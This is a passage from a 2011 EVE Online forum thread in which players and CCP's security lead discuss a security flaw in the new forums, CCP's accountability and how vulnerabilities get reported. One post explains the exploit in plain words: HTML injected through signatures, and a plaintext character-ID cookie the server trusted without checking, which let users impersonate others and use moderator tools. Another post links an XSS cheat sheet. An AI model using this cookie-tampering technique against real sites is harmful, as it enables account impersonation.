- "When I nerf something, it takes 2-3 months for your dreams to be crushed." - CCP Big Dumb Object |
Grimpak
Gallente The Whitehound Corporation Frontline Assembly Point
|
Posted - 2011.04.12 01:22:00 -
[56]
Originally by: Helicity Boson I am somewhat content with your blog sreegs, I still think you're being a bit too kind as to how much of a risk this sort of gaffe presents, but we will just need to agree to disagree on that.
I know you've taken a lot of flak despite not being responsible for this debacle (including from me) and I would urge players to not direct their (justified) anger at this "72,000 hour" project at CCP Sreeg, it's not his job to read every line of code or even to audit it; he is response.
The responsibility for the integrity of the security here lies with the webcell, and I hope that we can have some sort of statement from management detailing what is being done, 72,000 man hours represents well over a million euros; I think for that money we all expected a little more than a reskinned YAF with busted security.
Thank you for your blog Sreegs, I hope you don't catch too much more flak. I do hope you will at least consider that Catari didn't do anything intentionally malicious, even if his...uhm "means" of contacting you was not quite up to standards.
I had a very long, and very productive discussion with CCP Manifest earlier today about the mood of the community as a whole, yeah they're pretty p-ed off about this, but most of the rage (including mine) is not so much because of this one thing (even if it was pret-ty bad).
It's just the straw, as they say.
Hopefully this will have shocked some higher ups awake which will lead to more healthy procedures so that graphic design guys with some coding skill get the backup they need from proper coders with no photoshop mojo to prevent further calamities.
We all love EVE, even if we sometimes don't love CCP very much anymore, but as long as there is people that care on either side of the fence (like CCP Manifest) all is not lost.
I pretty damn well hope so. ---
Quote: The more I know about humans, the more I love animals.
ain't that right. |
El'Niaga
Minmatar Republic Military School
|
Posted - 2011.04.12 01:28:00 -
[57]
While I appreciate the dev blog and the followup thus far, I have to approach it with skepticism. CCP has many times claimed they would followup and then dropped the ball, in fact that's their MO in every previous incident.
Truth is this should never have happened. There had to be failures on multiple levels really. Project manager obviously failed to lead, anyone serving on the forum team failed to live up to their duties, and quality control for the project was nonexistent to miss such exploits.
We've had promises before that CCP would improve internal practices. Most famously after the T20 incident and then after the boot.ini incident. That's what is concerning of this issue, there seems to be a culture where no one is held accountable and thus no one in CCP feels accountable for anything therefore it keeps happening time and again. Something is rotten in the core.
However if you fail to fix it as a corporation you jeopardize everything, EVE, DUST, WoD, everything. How you handle this incident could well determine the fate of the future for CCP and all its projects.
|
|
CCP Sreegs
|
Posted - 2011.04.12 01:28:00 -
[58]
Originally by: Helicity Boson I am somewhat content with your blog sreegs, I still think you're being a bit too kind as to how much of a risk this sort of gaffe presents, but we will just need to agree to disagree on that.
I know you've taken a lot of flak despite not being responsible for this debacle (including from me) and I would urge players to not direct their (justified) anger at this "72,000 hour" project at CCP Sreeg, it's not his job to read every line of code or even to audit it; he is response.
The responsibility for the integrity of the security here lies with the webcell, and I hope that we can have some sort of statement from management detailing what is being done, 72,000 man hours represents well over a million euros; I think for that money we all expected a little more than a reskinned YAF with busted security.
Thank you for your blog Sreegs, I hope you don't catch too much more flak. I do hope you will at least consider that Catari didn't do anything intentionally malicious, even if his...uhm "means" of contacting you was not quite up to standards.
I had a very long, and very productive discussion with CCP Manifest earlier today about the mood of the community as a whole, yeah they're pretty p-ed off about this, but most of the rage (including mine) is not so much because of this one thing (even if it was pret-ty bad).
It's just the straw, as they say.
Hopefully this will have shocked some higher ups awake which will lead to more healthy procedures so that graphic design guys with some coding skill get the backup they need from proper coders with no photoshop mojo to prevent further calamities.
We all love EVE, even if we sometimes don't love CCP very much anymore, but as long as there is people that care on either side of the fence (like CCP Manifest) all is not lost.
While it might be hard to see it sometimes depending on the level of vitriol I think that we as a company, and I personally, appreciate that the community and individuals within the community are very passionate about EVE because they love the game and I think it's an asset to us as a company to be honest. Regarding the risk, I'm not sure we disagree per se but we've gone through every scenario we've had brought before us and the results are what they are. You yourself raised an issue and I promised to look into it, and I did.
I understand why I'm getting a bit beat up but in reality in this respect it's my job to tell you guys what's going on and if that means I take a couple of bruises because people are angry, well that just kinda goes with the territory. At the end of the day I just want to make sure that at least from a security perspective you guys have the open channel in and the feedback loop out that you not only deserve, but that I feel is integral to having a good process.
At any rate thanks a lot duder. |
|
|
CCP Sreegs
|
Posted - 2011.04.12 01:35:00 -
[59]
Originally by: El'Niaga
We've had promises before that CCP would improve internal practices. Most famously after the T20 incident and then after the boot.ini incident. That's what is concerning of this issue, there seems to be a culture where no one is held accountable and thus no one in CCP feels accountable for anything therefore it keeps happening time and again. Something is rotten in the core.
I'm sorry that I'm selectively quoting and I REALLY don't want to appear to be defensive BUT... to my knowledge we haven't had another T20 or another boot.ini incident. I'm NOT saying you're wrong or right. But, in the interests of providing a differing perspective, companies, especially ones the size of CCP are going to make mistakes. While this was a really bad mistake and you have every single right to be mad about it I'm not sure one should make a comparison to incidents involving completely unrelated areas of the company that occurred over... 5-7 years ago and haven't been repeated since.
I'm just not sure I personally get the comparison is all. |
|
Grimpak
Gallente The Whitehound Corporation Frontline Assembly Point
|
Posted - 2011.04.12 01:38:00 -
[60]
Originally by: CCP Sreegs I'm just not sure I personally get the comparison is all.
I think he meant that the cookie-derp incident has a comparable scope to those two. ---
Quote: The more I know about humans, the more I love animals.
ain't that right. |
|
Diomedes Calypso
|
Posted - 2011.04.12 01:39:00 -
[61]
Originally by: CCP Sreegs
Originally by: Diomedes Calypso
à..)
I'm not ignoring the rest of this post, but if there's a very real threat we can very much make this call. I can understand how it could be a problem if you're a guy who's constantly crying wolf, but if you have good people in the right places it tends not to be a problem. One might notice that in the second half of the response it was essentially minutes from the time I received a notification of an exploit to the time the forum was down.
ThereÆs a big difference between "A player has reported that he thinks he can access the forums by looking at some cookies" and "Mayday! Mayday!, there are people altering the forums now" The first might take an hour or so or get shoved aside for some other squeaking wheel explosion.
I do trust that once people are certain there is a problem that you are all competent and confident enough to act immediately. I do give you lots of credit there. I know youÆre hard working, competent guys doing your best.
As working adults though we understand how institutions operate, there is always the danger of ôslipping between the cracksö is something people in all businesses, (banking , insurance etc, ). As a real estate broker, there are times when if I need a deal to close by a given date, I cannot trust that going through the normal process will work. I need to assume that the normal process might fail and end run to a higher level to assure that it does (how you do an end-run will vary on the circumstanceàI might even show up in person on someoneÆs doorstep to make sure it happens as they know thatÆs the only way to make me go awayà)
I also give you personal credit for stating that you believe that there was a serious failure at the institutional process structure level, beyond a human mistake in performance. I think that is the real point.... I'm not a technical person so I canÆt fairly gauge the level of mistake in this case, but I've seen similar mistakes on the game dynamics level (implementation of the PI discontinuation of npc goods, player insistence from the very first anouncment of a new character editor in process that players would need a way to save work and be able to accurately see the actual results before a commitmentùwhich needed to be corrected the week after it was released with all sorts of *****ing moaning and customer service time wasted on it) . Something about the vetting process is amiss on many many levels when astute players see a problem coming before release but it can't win enough support internally (or people with doubts will be castigated for not being team players etc) The pattern seems to extend beyond the security department. Players who love playing the game and see a train-wreck coming are getting trained that only with huge explosions of demonstration can catch the eyes of people in charge at a level that they can stop the momentum of something in process long enough to objectively consider the concerns being raised.
|
Siiee
Recycled Heroes
|
Posted - 2011.04.12 01:40:00 -
[62]
Originally by: CCP Sreegs One might notice that in the second half of the response it was essentially minutes from the time I received a notification of an exploit to the time the forum was down.
I don't think that anyone who's not trolling doubts the speed of your response once notified. The question lies in how you got notified in the first place. Was it a GM that read the exploit petition and passed it along? Was it a moderator that noticed brewing anarchy? It's the delay that we all expect exists due to the petition system (which previously was the only well known official way to pass on this sort of information). If the earliest petition about this exploit was what brought out your response then it's open and shut, but I don't think that many believe that to be the case which is what's fueling the attitude towards the circumstances.
The security email is a great thing and it's really good that you keep pushing it. That will help alot of these problems.
|
|
CCP Sreegs
|
Posted - 2011.04.12 01:42:00 -
[63]
Originally by: Grimpak
Originally by: CCP Sreegs I'm just not sure I personally get the comparison is all.
I think he meant that the cookie-derp incident has a comparable scope to those two.
Ok, that makes it a bit more clear. I think in general my perspective on that is that it's a large company and none of those incidents involved the same areas of the company. So while the failures could appear to create a pattern, one could also consider that the fact that those mistakes haven't been repeated is also a pattern? |
|
Mitchello
Against ALL Authorities
|
Posted - 2011.04.12 01:42:00 -
[64]
Originally by: CCP Sreegs
Originally by: El'Niaga
We've had promises before that CCP would improve internal practices. Most famously after the T20 incident and then after the boot.ini incident. That's what is concerning of this issue, there seems to be a culture where no one is held accountable and thus no one in CCP feels accountable for anything therefore it keeps happening time and again. Something is rotten in the core.
I'm sorry that I'm selectively quoting and I REALLY don't want to appear to be defensive BUT... to my knowledge we haven't had another T20 or another boot.ini incident. I'm NOT saying you're wrong or right. But, in the interests of providing a differing perspective, companies, especially ones the size of CCP are going to make mistakes. While this was a really bad mistake and you have every single right to be mad about it I'm not sure one should make a comparison to incidents involving completely unrelated areas of the company that occurred over... 5-7 years ago and haven't been repeated since.
I'm just not sure I personally get the comparison is all.
Don't think he is really making a comparison, but sketching what is more something of a perception challenge.
The currency is trust, the case is not about data but about perception, which has a push/pull effect on word of mouth, the same word of mouth which once grew EVE, etc etc.
What you're saying is understood, he's just coming from a different angle. Perception management, basically.
|
Helicity Boson
Amarr The Python Cartel. The Defenders of Pen Island
|
Posted - 2011.04.12 01:43:00 -
[65]
Originally by: Grimpak
Originally by: CCP Sreegs I'm just not sure I personally get the comparison is all.
I think he meant that the cookie-derp incident has a comparable scope to those two.
I think that is pretty much how it is perceived by the players, to us it doesnt matter that points A and B were resolved, when C happens our minds immediately group A+B+C.
This human, and it's not wrong (even Sreegs can do nothing about it).
The currency is trust, and it's a finite resource that only regrows slowly and is expended in ever larger amounts with each new error.
But this is not news to CCP, they know this, hopefully they will soon show us how they intend to regain a full(er) wallet of trust with us. I really do hope so anyways.
|
Siiee
Recycled Heroes
|
Posted - 2011.04.12 01:45:00 -
[66]
Originally by: Grimpak
I think he meant that the cookie-derp incident has a comparable scope to those two.
The scope of an incident and the process that allows it to happen have very little if anything in common. You just can't make that comparison with a straight face. There is no system to prevent all "big" issues from happening, you can only work on the process and deal with the outcome as it comes.
|
|
CCP Sreegs
|
Posted - 2011.04.12 01:45:00 -
[67]
Originally by: Diomedes Calypso
Originally by: CCP Sreegs
Originally by: Diomedes Calypso
à..)
I'm not ignoring the rest of this post, but if there's a very real threat we can very much make this call. I can understand how it could be a problem if you're a guy who's constantly crying wolf, but if you have good people in the right places it tends not to be a problem. One might notice that in the second half of the response it was essentially minutes from the time I received a notification of an exploit to the time the forum was down.
ThereÆs a big difference between "A player has reported that he thinks he can access the forums by looking at some cookies" and "Mayday! Mayday!, there are people altering the forums now" The first might take an hour or so or get shoved aside for some other squeaking wheel explosion.
I do trust that once people are certain there is a problem that you are all competent and confident enough to act immediately. I do give you lots of credit there. I know youÆre hard working, competent guys doing your best.
As working adults though we understand how institutions operate, there is always the danger of ôslipping between the cracksö is something people in all businesses, (banking , insurance etc, ). As a real estate broker, there are times when if I need a deal to close by a given date, I cannot trust that going through the normal process will work. I need to assume that the normal process might fail and end run to a higher level to assure that it does (how you do an end-run will vary on the circumstanceàI might even show up in person on someoneÆs doorstep to make sure it happens as they know thatÆs the only way to make me go awayà)
I also give you personal credit for stating that you believe that there was a serious failure at the institutional process structure level, beyond a human mistake in performance. I think that is the real point.... I'm not a technical person so I canÆt fairly gauge the level of mistake in this case, but I've seen similar mistakes on the game dynamics level (implementation of the PI discontinuation of npc goods, player insistence from the very first anouncment of a new character editor in process that players would need a way to save work and be able to accurately see the actual results before a commitmentùwhich needed to be corrected the week after it was released with all sorts of *****ing moaning and customer service time wasted on it) . Something about the vetting process is amiss on many many levels when astute players see a problem coming before release but it can't win enough support internally (or people with doubts will be castigated for not being team players etc) The pattern seems to extend beyond the security department. Players who love playing the game and see a train-wreck coming are getting trained that only with huge explosions of demonstration can catch the eyes of people in charge at a level that they can stop the momentum of something in process long enough to objectively consider the concerns being raised.
heh, I'm "the security department" in the post! You are correct that we need more to go on to isolate the problem but in this case once we were aware of what we should be looking for we got on it pretty quickly. It's late now but maybe tomorrow I'll give you guys a bit more of an understanding of the timeline. |
|
|
CCP Sreegs
|
Posted - 2011.04.12 01:47:00 -
[68]
Originally by: Siiee
Originally by: CCP Sreegs One might notice that in the second half of the response it was essentially minutes from the time I received a notification of an exploit to the time the forum was down.
I don't think that anyone who's not trolling doubts the speed of your response once notified. The question lies in how you got notified in the first place. Was it a GM that read the exploit petition and passed it along? Was it a moderator that noticed brewing anarchy? It's the delay that we all expect exists due to the petition system (which previously was the only well known official way to pass on this sort of information). If the earliest petition about this exploit was what brought out your response then it's open and shut, but I don't think that many believe that to be the case which is what's fueling the attitude towards the circumstances.
The security email is a great thing and it's really good that you keep pushing it. That will help alot of these problems.
Yeah, I'm glad that gets noticed. It's something I talked about in the presentation at Fanfest as well which is that, for us to be really good at "security" we need to ensure that we have good feedback loops, which might mean tearing down some artificial barriers or instituting new systems to ensure that we're getting information in a timely fashion. The email address being public is a first step in that direction. |
|
Mister Short
|
Posted - 2011.04.12 01:50:00 -
[69]
So when do you think can we expect the (NON-security-related) PR damage control blog about how the new forum is actually not that bad as everybody with complaints about it was claiming ? ...yeah, not your department, you can't say, and if you wager a personal opinion one of your most dearest appendages will get pickled or something to that extent. Right ?
ladies and gentleman, the new incarna release date :P
I could make up a completely arbitrary date that would mean nothing whatsoever if that would make you feel better? Totally.
January 17th, 2015
ladies and gentleman, the new incarna release date
|
Grimpak
Gallente The Whitehound Corporation Frontline Assembly Point
|
Posted - 2011.04.12 01:50:00 -
[70]
Edited by: Grimpak on 12/04/2011 01:54:16
Originally by: CCP Sreegs
Originally by: Grimpak
Originally by: CCP Sreegs I'm just not sure I personally get the comparison is all.
I think he meant that the cookie-derp incident has a comparable scope to those two.
Ok, that makes it a bit more clear. I think in general my perspective on that is that it's a large company and none of those incidents involved the same areas of the company. So while the failures could appear to create a pattern, one could also consider that the fact that those mistakes haven't been repeated is also a pattern?
well all these three incidents really don't have a visible pattern between them.
T20 incident was a dev intervening directly on the game by spawning ingame items for benefit. while the answer of CCP on this issue is debatable, they did react and created the IA department because of it.
boot.ini incident was, for the most part, a very, very simple and basic mistake that even the best can let slip from time to time. Granted it created quite the panic, and many people did had damage done to their computers. CCP's reaction to this was to change their boot.ini to another name.
cookie-derp incident, at least for now, it seems that it was a mixture of events that started in one department, went thru a few others and escalated into the incident proper, thus raising questions about how effective CCP's QA is really.
each and every one of these embarrassing incidents only really have in common the public exposure. ---
Quote: The more I know about humans, the more I love animals.
ain't that right. |
|
El'Niaga
Minmatar Republic Military School
|
Posted - 2011.04.12 01:50:00 -
[71]
Originally by: CCP Sreegs
Originally by: El'Niaga
We've had promises before that CCP would improve internal practices. Most famously after the T20 incident and then after the boot.ini incident. That's what is concerning of this issue, there seems to be a culture where no one is held accountable and thus no one in CCP feels accountable for anything therefore it keeps happening time and again. Something is rotten in the core.
I'm sorry that I'm selectively quoting and I REALLY don't want to appear to be defensive BUT... to my knowledge we haven't had another T20 or another boot.ini incident. I'm NOT saying you're wrong or right. But, in the interests of providing a differing perspective, companies, especially ones the size of CCP are going to make mistakes. While this was a really bad mistake and you have every single right to be mad about it I'm not sure one should make a comparison to incidents involving completely unrelated areas of the company that occurred over... 5-7 years ago and haven't been repeated since.
I'm just not sure I personally get the comparison is all.
You mean like the fatal security system of your current forum fiasco....and yes I'd put that right up there with boot.ini. Also its well known T20 was not the only individual to cheat in a position of power, though I believe the other was a GM not a dev, maybe even 2 GMs did....
|
Patient 2428190
DEGRREE'Fo'FREE Internet Business School
|
Posted - 2011.04.12 01:54:00 -
[72]
Has there been any investigation into the rest of EVE-Gate to see where it stands security wise? I'd imagine the same team responsible for the forums have worked on EVE gate.
...Then when you stopped to think about it. All you really said was Lalala. |
Herschel Yamamoto
Agent-Orange Nabaal Syndicate
|
Posted - 2011.04.12 01:54:00 -
[73]
I have to say, it's pretty hilarious that we're giving Sreegs grief over T20, even indirectly.
|
Mitchello
Against ALL Authorities
|
Posted - 2011.04.12 01:55:00 -
[74]
Originally by: Herschel Yamamoto I have to say, it's pretty hilarious that we're giving Sreegs grief over T20, even indirectly.
|
Grimpak
Gallente The Whitehound Corporation Frontline Assembly Point
|
Posted - 2011.04.12 01:58:00 -
[75]
Originally by: Herschel Yamamoto I have to say, it's pretty hilarious that we're giving Sreegs grief over T20, even indirectly.
pete's sake that one will haunt CCP for time everlasting
well Sreegs isn't at fault with it really. I don't even think he would've thought he would be working for CCP when it happened ---
Quote: The more I know about humans, the more I love animals.
ain't that right. |
Diomedes Calypso
|
Posted - 2011.04.12 01:59:00 -
[76]
Originally by: Herschel Yamamoto I have to say, it's pretty hilarious that we're giving Sreegs grief over T20, even indirectly.
I think people are trying to say that his eyes need to be on something more than what specifically went wrong in this case and that perhaps managment outside of security needs to examine if problems stem from company process structure (scrum stuff?)
I also thing that the t20 stuff is not at all pertinent though as it was an intirely different sort of bad judgment thatn releasing unfinished work.
|
Kasriel
Caldari Nadyr Heavy Industries
|
Posted - 2011.04.12 02:00:00 -
[77]
interesting, I'll have to check tomorrow to read more of this buy at the moment all I can really add is very good on you Sreegs, you will probably get many people complaining and venting their frustration at you, I'll leave the matter of it being justified or not to other more vocal people than myself, the only thing I wish to add is judging from the (mainly) positive feedback you've received for your actions talking to the community it may be a good idea for this to be more commonplace?
Also while internal matters need to be taken care of internally - and I don't doubt that the vast majority of the player base understands this - when matters affect the players directly they cease to be internal and some feedback and transparency can go a long way, especially if the reports that (for this particular example) during the testing round many issues were raised with the security and functionality of the "new" forums were raised and yet ignored prove to be true, for me at least that is the troubling matter and what has caused the largest loss of trust on my part, if we can't trust CCP to believe their users saying "this is broken" what can we trust? ----------
Theres a wonderful world out there..
lets hope it doesn't hit this one |
Mihara Shiharu
|
Posted - 2011.04.12 02:01:00 -
[78]
I blame it on using .NET (damn microsoft), why couldn't you just use python? you know it works so damn good, so why bother with and pay for .NET? WHY?
|
Ven Dak
|
Posted - 2011.04.12 02:01:00 -
[79]
Originally by: Herschel Yamamoto I have to say, it's pretty hilarious that we're giving Sreegs grief over T20, even indirectly.
Goons did T20
|
|
CCP Sreegs
|
Posted - 2011.04.12 02:05:00 -
[80]
Off to bed for the night I'll followup again tomorrow morning. |
|
|
Helicity Boson
Amarr The Python Cartel. The Defenders of Pen Island
|
Posted - 2011.04.12 02:06:00 -
[81]
Originally by: CCP Sreegs Off to bed for the night I'll followup again tomorrow morning.
left you a message ;)
sleep tight duder.
|
Catheryn Martobi
|
Posted - 2011.04.12 02:21:00 -
[82]
Seems like there is a bright side to all this. With all the harassment CCP is getting for this screw-up, this aught to make them take at least a cursory look inward at their current strategy of setting unmeetable deadlines with sub-par products.
|
ModeratedToSilence
|
Posted - 2011.04.12 02:24:00 -
[83]
Is this a good thread to discuss the merit of snorting wasabi?
|
Dr BattleSmith
PAX Interstellar Services
|
Posted - 2011.04.12 02:38:00 -
[84]
It's really very simple.
Your web team is blowing smoke up your ass.
They are fail.
CCP Nathan "the data does not seem to support that polished quality sells" Evelgrivion "each passing year, each failure to deliver on expectations of basic competence" |
Zastrow
GoonWaffe Goonswarm Federation
|
Posted - 2011.04.12 02:38:00 -
[85]
sreegs Please resize image to a maximum of 400 x 120, not exceeding 24000 bytes. If you would like further details please mail [email protected] ~Saint |
Liang Nuren
|
Posted - 2011.04.12 02:42:00 -
[86]
Originally by: Herschel Yamamoto I have to say, it's pretty hilarious that we're giving Sreegs grief over T20, even indirectly.
-- Eve Forum ***** Extraordinaire On Twitter
|
Palovana
Caldari Inner Fire Inc.
|
Posted - 2011.04.12 03:04:00 -
[87]
Originally by: Patient 2428190 Has there been any investigation into the rest of EVE-Gate to see where it stands security wise? I'd imagine the same team responsible for the forums have worked on EVE gate.
I would hope all website-related material is given a security audit in light of this incident. Especially EVE-Gate for reasons you mentioned. ----- Your Plain Text Cookie perfectly strikes New Forums, wrecking for inifnite damage. |
mazzilliu
Caldari Sniggerdly Pandemic Legion
|
Posted - 2011.04.12 03:12:00 -
[88]
apparently the guy who first reported the issue and later got banned said that his initial exploit report was incomplete, but there was no ccp effort to get him to elaborate.
perhaps it would be an improvement to have some sort of followup for security related reports, in case the reporter does not understand how to properly demonstrate an exploit, to try to get him to communicate clearly, rather than brush them off as another incomplete bug report or potential troll. i think if that happened the forums might have gone down some time sooner.
|
Kuroki Meisa Kennedy
|
Posted - 2011.04.12 03:31:00 -
[89]
Originally by: mazzilliu apparently the guy who first reported the issue and later got banned said that his initial exploit report was incomplete, but there was no ccp effort to get him to elaborate.
perhaps it would be an improvement to have some sort of followup for security related reports, in case the reporter does not understand how to properly demonstrate an exploit, to try to get him to communicate clearly, rather than brush them off as another incomplete bug report or potential troll. i think if that happened the forums might have gone down some time sooner.
+1 I also feel just killing the messenger is wrong and makes the P in CCP stand for police. |
Misanth
RABBLE RABBLE RABBLE
|
Posted - 2011.04.12 03:39:00 -
[90]
Originally by: Dacil Arandur of all people Akita T has the most to lose!
No. The playerbase as a whole, has, if that monster of a forum comes back. -
|
|
Misanth
RABBLE RABBLE RABBLE
|
Posted - 2011.04.12 04:04:00 -
[91]
Originally by: Kuroki Meisa Kennedy
Originally by: mazzilliu apparently the guy who first reported the issue and later got banned said that his initial exploit report was incomplete, but there was no ccp effort to get him to elaborate.
perhaps it would be an improvement to have some sort of followup for security related reports, in case the reporter does not understand how to properly demonstrate an exploit, to try to get him to communicate clearly, rather than brush them off as another incomplete bug report or potential troll. i think if that happened the forums might have gone down some time sooner.
+1 I also feel just killing the messenger is wrong and makes the P in CCP stand for police.
Communication is not CCP's strongest side, never has been. They misunderstand players, we misunderstand them. They present stuff in a way that aggravates the playerbase, even tho it could easily be made in a more appealing fashion. Etc.
I gave up petitioning CCP for now, last couple of petitions they just gave me standard replies asking for information I already submitted in the first petition. It is no point raising your voice when you talk with the deaf. -
|
Johanna Tychi
|
Posted - 2011.04.12 04:52:00 -
[92]
OMG, CCP will get the most secure forums in the whole internets if we keep trying to break them. CCP could sell that tech later ;)
Keep on rolling!
Jo
|
Tasko Pal
Volatilis Legion Citex Alliance
|
Posted - 2011.04.12 04:54:00 -
[93]
As I see it, this is going to foreshadow the Incarna failure this summer. The causes of failure will be somewhat different. Here, the decisions made were pretty bizarre. I can see how this security flaw might have slipped past, but what boggles me is the abandonment of something like eight years of content and discussion. Among other things, it means that CCP went with a completely different system from front to back, when at a glance, they apparently just wanted to modify the front end look and some functionality. I think CCP might find with hindsight that a completely new system would be more likely to have the sort of security flaws which were uncovered, while a system that kept their old backend database, probably wouldn't have these problems.
I think the Incarna failure will be due to massive overselling of the first generation of Incarna content. It's something like two months to the release and we still have no concrete discussion of any serious game-related excuse for me to get out of my pod. I doubt any release in the past few years which has issued significant new content (incursions, exploration, level 5 missions, epic arcs, wormholes, etc) has been that vague about what was being provided so soon before the launch. Sure, the new content sounds interesting, but how many years will it take to integrate it so that we can use it for something other than a fancy variation on station spinning? Maybe CCP should start talking about that so that expectations meet the actual level of content.
As I see it, big missteps in a forum upgrade probably indicate deeper problems in CCP with new content generation. I'm a one-game man. Eve really has some powerful and compelling content which other games currently can't touch. But this summer looks pretty weak for new content. At least, the BFF group and related parties are visibly improving the existing Eve experience. And the war on lag works.
|
Vult
|
Posted - 2011.04.12 05:28:00 -
[94]
Originally by: Johanna Tychi
Keep on trolling!
Jo
Fixt. ---
I used to have a sig that was haxx0red by an old moderator... but I changed it since no one has those haxx0red sigs anymore and the mod has left the building. |
Makko Gray
Nexus Aerospace Corporation
|
Posted - 2011.04.12 05:36:00 -
[95]
I find it interesting that HTML could be injected into a signature but not script and really hope you do not look at the use of the script tag as the only indicator of script injection as it can also occur on HTML attributes and through various encoding techniques (some browser specific).
There are some good XSS cheat sheets you can check against for testing cross site scripting vectors such as this one: http://ha.ckers.org/xss.html
Also .NET & C# rocks as long as you know what your doing (ASP.NET WebForms is a bit sucky though).
|
DTson Gauur
Caldari Underground-Operators
|
Posted - 2011.04.12 05:45:00 -
[96]
Decent blog, and I know you're not the guy to answer this Sreegs but...
You're using a GPL'd (GPLv2 license actually) software, so have you guys actually read the license and understand what it means?
I hereby request the modified sourcecode as is my right within GPL license.
Ball is in your park now CCP, obey the license.
|
Gnulpie
Minmatar Miner Tech
|
Posted - 2011.04.12 05:55:00 -
[97]
How on earth was it possible that these holes weren't discovered by QA? Amazing!
And where are the people responsible for that desaster anyway? Where are the people responsible for the new forums?
However CCP Sreegs is the security guy here and it looks like he is doing a great job and working his ass off right now to get things done and to keep the community up to date. And that is GREAT!
However, the security department should have been involved before the release of the forums? Was it?
|
Bargealta McSpacebuxx
That's What a Spy Would Say Goonswarm Federation
|
Posted - 2011.04.12 05:56:00 -
[98]
So are you going to post how the exploit worked after it's fixed for the curious, or no?
Originally by: DTson Gauur You're using a GPL'd (GPLv2 license actually) software, so have you guys actually read the license and understand what it means?
Pretty sure GPLv2 still has that web service loophole that basically lets you ignore it for web-hosted apps.
|
Londo Cebb
Official Market Discussions Troll
|
Posted - 2011.04.12 05:59:00 -
[99]
Thank you for this explanation of the situation so far.
I was rather ****ed off when I found out the extent of the problems with the new forums, and still am.
I have lost a fair amount of my faith in your company to keep my data secure, but your formal apology and acknowledgement of the problems has restored some small amount. I think even you will admit that you still have a long way to go to earn back that trust.
I am looking forward to a follow up blog detailing exactly what went wrong (to the extent that you can).
I would like to thank you again for owning up to your mistakes. That is the first step in making sure something like this never happens again.
|
Yuki Kulotsuki
|
Posted - 2011.04.12 06:01:00 -
[100]
Originally by: Bargealta McSpacebuxx
Originally by: DTson Gauur You're using a GPL'd (GPLv2 license actually) software, so have you guys actually read the license and understand what it means?
Pretty sure GPLv2 still has that web service loophole that basically lets you ignore it for web-hosted apps.
Pretty much this. The software is not being distributed to you and thus you are not entitled to the source. -- Did you know there's an alliance who's name you're not allowed to say, or website you're not allowed to link? |
|
Mara Rinn
|
Posted - 2011.04.12 06:16:00 -
[101]
Thanks for the update, CCP Sreegs. The new forums have many more problems besides the security flaws though. It's not your department, I know, but perhaps there's some way you can influence the release process so that QA and process stakeholders such as CSM can work together to control the release of non-security patches?
Of course, this involves upgrading CSM from "chicken" class stakeholders in the process to "pig" class stakeholders in the process. We're where the money comes from, after all.
A little change to the process so that Singularity always contains the next release candidate. This could work in CCPs favor to reduce the number of bugs that occur due to unintended interactions between a publicly tested feature and an internally tested bug fix.
From your dev blog, the insinuation is that the player who got banned didn't actually tell you how to reproduce the problem - is this the message you intended to present?
And for DTson gauur - according to the GPL, a developer only has to release the source code for software that they have given to the customer in some form. Thus if CCP had sold us forum software to put on our machines, or had sold us a box containing the forum software, we'd be entitled to the source code too. Since CCP haven't delivered us a software product (they're renting us a software service), the source availability is a non-issue.
I'm sure CCP will do the right thing and contribute changes back to the YAF codebase, where those changes apply to other users. I don't know what happens behind the scenes, but I can't think of many instances where one login can post as multiple different identities. It doesn't make sense in the greater world of forum software.
And for folks complaining about Akita T raving about the forums being stinking pile of dog excrement: remember what feedback CCP gave about Akita T's Technetium complaint? No you don't, because there wasn't any. I think it's pretty clear what Akita T is "messaging" by raving about the new forums at every opportunity.
But GPL and forum UX flaws are not the topic of this thread. The topic of this thread is how awesome CCP Sreeg's metaphorical beard is, and how certain security troll's beards are lacking in the non-neck department. Keep it up CCP.
-- [Aussie players: join ANZAC channel] |
Herschel Yamamoto
Agent-Orange Nabaal Syndicate
|
Posted - 2011.04.12 06:16:00 -
[102]
Originally by: Misanth
Originally by: Dacil Arandur of all people Akita T has the most to lose!
No. The playerbase as a whole, has, if that monster of a forum comes back.
Better than this stinky old turd. Not nearly as much better as it ought to be, but better nonetheless.
Originally by: Bargealta McSpacebuxx So are you going to post how the exploit worked after it's fixed for the curious, or no?
It was ******ed simple. Basically, there were two completely unrelated problems. One was HTML injection via signatures - basically, HTML was blocked for the post body, but you could put whatever you wanted in your sig via a fairly simple workaround. It started when people wanted to use font colours and images in their sigs(functionality not yet implemented on the new forum), and then they realized it wasn't limited to making sigs colourful.
The second problem was even dumber. The forum's method of telling what character you're posting as was a simple cleartext string in the cookie, of the type "lastSelectedCharacter=1840703239". Fair enough - it's a non-crazy way to remember which of your three toons to post as - except that the server just took the character ID and trusted it completely, with no checking. If I set my last ID to CCP Sreegs(which is the ID number I used above - they're easy to look up), then I could post as Sreegs, edit Sreegs' posts, and have access to all mod tools and hidden forums Sreegs can see...without ever having to actually log in to Sreegs' account. Just set your ID in the cookie, the server takes it as gospel without checking, and you're in as anyone you like.
Seriously, I can't overstate just how ******ed this was. "Derp" is far too weak a word.
|
Gnulpie
Minmatar Miner Tech
|
Posted - 2011.04.12 06:17:00 -
[103]
Originally by: DTson Gauur You're using a GPL'd (GPLv2 license actually) software, so have you guys actually read the license and understand what it means?
GPL2 º0: Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted...
As long as they only RUN the program and don't distribute it, the GPL2 gives you ****. |
Yuki Kulotsuki
|
Posted - 2011.04.12 06:24:00 -
[104]
Originally by: Mara Rinn Of course, this involves upgrading CSM from "chicken" class stakeholders in the process to "pig" class stakeholders in the process. We're where the money comes from, after all.
So mittens is king of the piggies? -- Did you know there's an alliance who's name you're not allowed to say, or website you're not allowed to link? |
Florestan Bronstein
Test Alliance Please Ignore
|
Posted - 2011.04.12 06:26:00 -
[105]
Edited by: Florestan Bronstein on 12/04/2011 06:29:08
Quote: This takes me to vulnerability reporting, which has played an interesting role in this whole process. If you are aware of or discover a vulnerability in one of our systems you are encouraged to send an email to [email protected], file a petition and/or a bug report. If you do this there are two items which are paramount to us having the information we need to respond properly.
The widespread perception in the shc thread was that the only way to get CCP to act fast is to publicize and exploit the vulnerabilities.
CCP has a long history of being extremely slow to react to exploits in other part of the game (even exploits that are not just "bugs" such as the Monkeysphere incident).
One frequently voiced concern was that the new forums must be taken down before the weekend or else the risk of "serious" exploits getting into the wild would become too high.
Are you convinced that the forums would have been shut down on Friday/Saturday if you had just received a couple of bug reports?
At what times is [email protected] monitored? What's the maximum time you might not be aware of a vulnerability that has been forwarded to that mailbox?
Do you really have the internal leverage to shut down central parts of the website when the exploit has not yet been observed in the wild?
